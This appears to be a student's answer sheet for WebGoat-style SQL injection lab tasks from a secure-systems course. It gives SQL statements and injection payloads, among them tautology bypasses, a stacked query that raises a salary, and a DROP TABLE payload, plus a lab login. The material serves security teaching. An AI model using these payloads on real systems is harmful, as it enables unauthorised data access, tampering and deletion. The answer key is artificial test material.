Design Sicherer Systeme - Labor Lösungen

Thomas Gingele

2023-10-09

Notes

Registered User:

```
leastsignificantbit:password
```

(A1) Injection

SQL Injection (intro)

Task 1 No answer needed.

Task 2 Look at the example table. Try to retrieve the department of the employee Bob Franco. Note that you have been granted full administrator privileges in this assignment and can access all data without authentication.

```
SELECT department FROM employees WHERE userid = 96134
```

Task 3 Try to change the department of Tobi Barnett to 'Sales'. Note that you have been granted full administrator privileges in this assignment and can access all data without authentication.

```
UPDATE employees SET department='Sales' WHERE userid = 89762
```

Task 4 Try to modify the schema by adding the column "phone" (varchar(20)) to the table "employees".

```
ALTER TABLE employees ADD phone varchar(20)
```

Task 5 Try to grant rights to the table `grant_rights` to user `unauthorized_user`.

```
GRANT SELECT ON grant_rights TO unauthorized_user
```

Task 6 No answer needed.

Task 7 No answer needed.

Task 8 No answer needed.

Task 9 Try using the form below to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list.

```
SELECT * FROM user_data WHERE first_name = 'Smith' OR '1' = '1'
```

Task 10 Using the two Input Fields below, try to retrieve all the data from the users table.

```
Login_Count: 0
User_Id    : 0 OR 1=1
```

Task 11 Use the form below and try to retrieve all employee data from the employees table.

```
Employee Name     : Bit
Authentication TAN: 0' OR '1'='1
```

Task 12 Change your own salary so you are earning the most.

```
Employee Name     : Smith
Authentication TAN: 3SL99A'; UPDATE employees SET salary='99999999'
    WHERE userid = '37648
```

Task 13 Delete the `access_log` table.

```
"'; DROP TABLE access_log -- -
```